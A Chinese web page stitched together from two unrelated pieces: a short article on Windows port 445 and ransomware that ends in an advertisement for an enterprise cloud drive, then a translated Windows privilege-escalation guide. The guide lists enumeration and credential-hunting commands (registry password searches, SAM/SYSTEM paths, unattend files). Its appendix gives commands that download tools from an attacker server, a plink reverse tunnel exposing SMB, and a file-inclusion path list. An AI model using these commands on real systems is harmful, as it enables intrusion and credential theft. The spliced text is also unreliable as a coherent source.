Windows的445端口的作用:
Windows 445端口究竟是什么是什么用的?445端口的主要特點(diǎn)是支持文件共享,比如很多企業(yè)在服務(wù)器上將某一個(gè)目錄共享給 企業(yè)內(nèi)的員工,讓他們存儲(chǔ)及共享文件,這個(gè)時(shí)候就用到445端口。另外打印共享也需要445端口,Sqlserver的AlwaysOn也需要用到445端口。
445端口的風(fēng)險(xiǎn):
"勒索病毒”此次事件有一個(gè)特征,在無需用戶任何操作的情況下,勒索軟件即可掃描開放445文件共享端口的Windows機(jī)器,植 入惡意程序,將電腦中的文件加密,只有支付黑客所要求贖金后,才能解密恢復(fù)。
內(nèi)網(wǎng)安全的誤區(qū):
很多企業(yè)認(rèn)為,內(nèi)網(wǎng)和外網(wǎng)隔離開就安全了,這種思想是落后的。從這次勒索病毒的傳播來看,內(nèi)網(wǎng)這次成為重災(zāi)區(qū)。原來所謂的內(nèi)網(wǎng)隔離,由于目前移動(dòng)辦公的需求,及員工有可能通過U盤拷貝文件到內(nèi)網(wǎng),內(nèi)網(wǎng)的安全邊界已經(jīng)被打破了。
445端口關(guān)閉后目錄文件共享怎么辦
而企業(yè)內(nèi)部需要進(jìn)行文件共享是一個(gè)非常必須要的功能。而445端口屏蔽后,我們推薦的解決方案是,用Mobox企業(yè)網(wǎng)盤,完全兼容Windows的操作習(xí)慣,可以完美解決企業(yè)文件共享系統(tǒng)主要功能:
1、在網(wǎng)絡(luò)上提供一個(gè)空間給授權(quán)用戶來存儲(chǔ)文件
2、實(shí)現(xiàn)個(gè)人文件異地存儲(chǔ)備份
3、可以方便的實(shí)現(xiàn)文件共享:
1)單個(gè)或多個(gè)文件共享 (windows 只是支持目錄共享)
2)一個(gè)或多個(gè)目錄共享
3)共享可以設(shè)置時(shí)效性 (到一定時(shí)間可以失效這次共享
4、可以方便的創(chuàng)建文件外鏈供郵件集成
介紹
特權(quán)升級總是被歸結(jié)為適當(dāng)?shù)拿杜e。但要完成適當(dāng)?shù)拿杜e,你需要知道要檢查和查找的內(nèi)容。這通常需要伴隨著經(jīng)驗(yàn)的豐富而對系統(tǒng)非常熟悉。起初特權(quán)升級看起來像是一項(xiàng)艱巨的任務(wù),但過了一段時(shí)間,你就開始過濾哪些是正常的東西,而哪些不是正常的東西。最終變得更容易,因?yàn)槟阒酪獙ふ沂裁戳耍皇峭诰蛳M诟刹荻阎姓业侥歉樀乃袞|西。希望本指南能為你的入門提供良好的基礎(chǔ)知識。
本指南受到了g0tm1lk發(fā)表的基本的Linux提權(quán)姿勢的文章的影響,在某些時(shí)候,你應(yīng)該已經(jīng)看到并使用了該指南。我想試圖反映他的指導(dǎo),除了Windows。所以本指南主要集中在枚舉方面。
注:我不是專家,仍然在學(xué)習(xí)當(dāng)中。
指南概述
在每個(gè)部分中,我首先提供老的可靠的CMD命令,然后是一個(gè)Powershell實(shí)現(xiàn)的的等價(jià)命令。同時(shí)擁有這兩種工具是非常好的,Powershell比傳統(tǒng)的CMD更加靈活。然而,沒有一個(gè)Powershell命令能等價(jià)于所有東西(或者CMD在某些事情上仍然更簡單更好),所以一些部分將只包含常規(guī)的CMD命令。
操作系統(tǒng)
操作系統(tǒng)類型和架構(gòu)?它是否缺少任何補(bǔ)丁?
systeminfo wmic qfe
環(huán)境變量有什么有趣的地方嗎?域控制器在LOGONSERVER?
set Get-ChildItem Env: | ft Key,Value
有沒有其他連接的驅(qū)動(dòng)器?
net use wmic logicaldisk get caption,description,providername Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
用戶
你是誰?
whoami echo %USERNAME% $env:UserName
系統(tǒng)上有哪些用戶?任何舊的用戶配置文件沒有被清理掉?
net users dir /b /ad "C:\Users\" dir /b /ad "C:\Documents and Settings\" # Windows XP and below Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name
是否有其他人登錄?
qwinsta
系統(tǒng)上有哪些用戶組?
net localgroup Get-LocalGroup | ft Name
在管理員組中有哪些用戶?
net localgroup Administrators Get-LocalGroupMember Administrators | ft Name, PrincipalSource
用戶自動(dòng)登錄對應(yīng)的注冊表中有些什么內(nèi)容?
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"
Credential Manager中有什么有趣的東西?
cmdkey /list
我們可以訪問SAM和SYSTEM文件嗎?
%SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\SAM %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system
程序,進(jìn)程和服務(wù)
系統(tǒng)都安裝了些什么軟件?
dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
有沒有權(quán)限設(shè)置的比較脆弱的文件夾或文件的權(quán)限?
在程序文件夾中(Program Folders)有哪些文件或文件夾賦予了所有人(Everyone)或用戶(User)的完全權(quán)限?
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone" icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone" icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
修改程序文件夾(Program Folders)中的所有人(Everyone)或用戶(User)的權(quán)限?
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone" icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone" icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
你也可以上傳Sysinternals中的accesschk來檢查可寫文件夾和文件。
accesschk.exe -qwsu "Everyone" * accesschk.exe -qwsu "Authenticated Users" * accesschk.exe -qwsu "Users" *
系統(tǒng)上正在運(yùn)行的進(jìn)程/服務(wù)有哪些?有沒有暴露的內(nèi)部服務(wù)?如果是這樣,我們可以打開它嗎?請參閱附錄中的端口轉(zhuǎn)發(fā)。
tasklist /svc tasklist /v net start sc query
Get-Process | ft ProcessName,Id Get-Service
是否存在任何脆弱的服務(wù)權(quán)限?我們可以重新配置什么嗎?你可以再次上傳accesschk來檢查權(quán)限。
accesschk.exe -uwcqv "Everyone" * accesschk.exe -uwcqv "Authenticated Users" * accesschk.exe -uwcqv "Users" *
有沒有引用的服務(wù)路徑?
wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\" 2>nul |findstr /i /v """
是否設(shè)置了計(jì)劃任務(wù)?任何自定義實(shí)現(xiàn)的計(jì)劃任務(wù)?
schtasks /query /fo LIST 2>nul | findstr TaskName dir C:\windows\tasks
Get-ScheduledTask | ft TaskName, State
系統(tǒng)啟動(dòng)時(shí)都運(yùn)行了些什么?
wmic startup get caption,command reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run' Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce' Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run' Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce' Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup" Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
AlwaysInstallElevated是否啟用?我沒有跑過這個(gè),但沒有傷害檢查。
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
網(wǎng)絡(luò)
連接到了哪一塊網(wǎng)卡?是否有多個(gè)網(wǎng)絡(luò)?
ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
我們有哪些網(wǎng)絡(luò)路線?
route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP緩存中有什么?
arp -a Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
是否有連接到其他主機(jī)的網(wǎng)絡(luò)連接?
netstat -ano
hosts文件中的任何東西?
C:\WINDOWS\System32\drivers\etc\hosts
防火墻是否打開?如果是又是怎樣配置的?
netsh firewall show state netsh firewall show config netsh advfirewall firewall show rule name=all netsh advfirewall export "firewall.txt"
任何其他有趣的接口配置?
netsh dump
有沒有SNMP配置?
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
有趣的文件和敏感信息
這部分內(nèi)容的命令輸出可能有點(diǎn)雜亂,所以你可能想把命令的輸出重定向到txt文件中進(jìn)行審查和解析。
在注冊表中是否有任何密碼?
reg query HKCU /f password /t REG_SZ /s reg query HKLM /f password /t REG_SZ /s
查看是否存在沒有清理掉的sysprep或unattended文件?
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
如果服務(wù)器是IIS網(wǎng)絡(luò)服務(wù)器,那么inetpub中有什么?以及任何隱藏的目錄?web.config文件?
dir /a C:\inetpub\ dir /s web.config C:\Windows\System32\inetsrv\config\applicationHost.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
在IIS日志目錄中有些什么文件?
C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log
是否安裝了XAMPP,Apache或PHP?任何有XAMPP,Apache或PHP配置文件?
dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf Get-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue
系統(tǒng)中是否存在任何Apache網(wǎng)絡(luò)日志?
dir /s access.log error.log Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
系統(tǒng)中是否任何有趣的文件?可能在用戶目錄(桌面,文檔等)?
dir /s *pass*==*vnc*==*.config* 2>nul Get-Childitem –Path C:\Users\ -Include *password*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue
系統(tǒng)中是否有包含密碼的文件?
findstr /si password *.xml *.ini *.txt *.config 2>nul Get-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"
附錄
傳輸文件
在特權(quán)升級過程中的某個(gè)時(shí)候,你需要將文件放到你的目標(biāo)上。下面是一些簡單的方法來做到這一點(diǎn)。
Powershell Cmdlet(Powershell 3.0及更高版本)
Invoke-WebRequest "https://myserver/filename" -OutFile "C:\Windows\Temp\filename"
Powershell一行代碼實(shí)現(xiàn)方法:
(New-Object System.Net.WebClient).DownloadFile("https://myserver/filename", "C:\Windows\Temp\filename")
Powershell腳本
echo $webclient=New-Object System.Net.WebClient >>wget.ps1 echo $url="http://IPADDRESS/file.exe" >>wget.ps1 echo $file="output-file.exe" >>wget.ps1 echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
通過文本文件的非交互式FTP。當(dāng)你只有有限的命令執(zhí)行時(shí)這很有用。
echo open 10.10.10.11 21> ftp.txt echo USER username>> ftp.txt echo mypassword>> ftp.txt echo bin>> ftp.txt echo GET filename>> ftp.txt echo bye>> ftp.txt ftp -v -n -s:ftp.txt CERTUTIL certutil.exe -urlcache -split -f https://myserver/filename outputfilename
轉(zhuǎn)發(fā)端口
這對于暴露機(jī)器外部不可用的內(nèi)部服務(wù)非常有用,通常是由于防火墻設(shè)置。
上傳plink.exe到目標(biāo)。
在攻擊機(jī)器上啟動(dòng)SSH。
例如要公開SMB,在目標(biāo)上運(yùn)行:
plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS
注意:從Windows 10的秋季創(chuàng)作者更新版本開始,OpenSSH已經(jīng)在Windows的beta版本中推出,所以我預(yù)計(jì)有一天我們可能只能使用普通的舊的SSH命令進(jìn)行端口轉(zhuǎn)發(fā),具體取決于是否啟用。
本地文件包含列表
這不是一個(gè)詳盡的列表,安裝目錄會(huì)有所不同,我只列出了一些常見的文件路徑。
C:\Apache\conf\httpd.conf C:\Apache\logs\access.log C:\Apache\logs\error.log C:\Apache2\conf\httpd.conf C:\Apache2\logs\access.log C:\Apache2\logs\error.log C:\Apache22\conf\httpd.conf C:\Apache22\logs\access.log C:\Apache22\logs\error.log C:\Apache24\conf\httpd.conf C:\Apache24\logs\access.log C:\Apache24\logs\error.log C:\Documents and Settings\Administrator\NTUser.dat C:\php\php.ini C:\php4\php.ini C:\php5\php.ini C:\php7\php.ini C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf C:\Program Files (x86)\Apache Group\Apache\logs\access.log C:\Program Files (x86)\Apache Group\Apache\logs\error.log C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf C:\Program Files (x86)\Apache Group\Apache2\logs\access.log C:\Program Files (x86)\Apache Group\Apache2\logs\error.log c:\Program Files (x86)\php\php.ini" C:\Program Files\Apache Group\Apache\conf\httpd.conf C:\Program Files\Apache Group\Apache\conf\logs\access.log C:\Program Files\Apache Group\Apache\conf\logs\error.log C:\Program Files\Apache Group\Apache2\conf\httpd.conf C:\Program Files\Apache Group\Apache2\conf\logs\access.log C:\Program Files\Apache Group\Apache2\conf\logs\error.log C:\Program Files\FileZilla Server\FileZilla Server.xml C:\Program Files\MySQL\my.cnf C:\Program Files\MySQL\my.ini C:\Program Files\MySQL\MySQL Server 5.0\my.cnf C:\Program Files\MySQL\MySQL Server 5.0\my.ini C:\Program Files\MySQL\MySQL Server 5.1\my.cnf C:\Program Files\MySQL\MySQL Server 5.1\my.ini C:\Program Files\MySQL\MySQL Server 5.5\my.cnf C:\Program Files\MySQL\MySQL Server 5.5\my.ini C:\Program Files\MySQL\MySQL Server 5.6\my.cnf C:\Program Files\MySQL\MySQL Server 5.6\my.ini C:\Program Files\MySQL\MySQL Server 5.7\my.cnf C:\Program Files\MySQL\MySQL Server 5.7\my.ini C:\Program Files\php\php.ini C:\Users\Administrator\NTUser.dat C:\Windows\debug\NetSetup.LOG C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\Panther\Unattended.xml C:\Windows\php.ini C:\Windows\repair\SAM C:\Windows\repair\system C:\Windows\System32\config\AppEvent.evt C:\Windows\System32\config\RegBack\SAM C:\Windows\System32\config\RegBack\system C:\Windows\System32\config\SAM C:\Windows\System32\config\SecEvent.evt C:\Windows\System32\config\SysEvent.evt C:\Windows\System32\config\SYSTEM C:\Windows\System32\drivers\etc\hosts C:\Windows\System32\winevt\Logs\Application.evtx C:\Windows\System32\winevt\Logs\Security.evtx C:\Windows\System32\winevt\Logs\System.evtx C:\Windows\win.ini C:\xampp\apache\conf\extra\httpd-xampp.conf C:\xampp\apache\conf\httpd.conf C:\xampp\apache\logs\access.log C:\xampp\apache\logs\error.log C:\xampp\FileZillaFTP\FileZilla Server.xml C:\xampp\MercuryMail\MERCURY.INI C:\xampp\mysql\bin\my.ini C:\xampp\php\php.ini C:\xampp\security\webdav.htpasswd C:\xampp\sendmail\sendmail.ini C:\xampp\tomcat\conf\server.xml
翻譯:李白
原文:嘶吼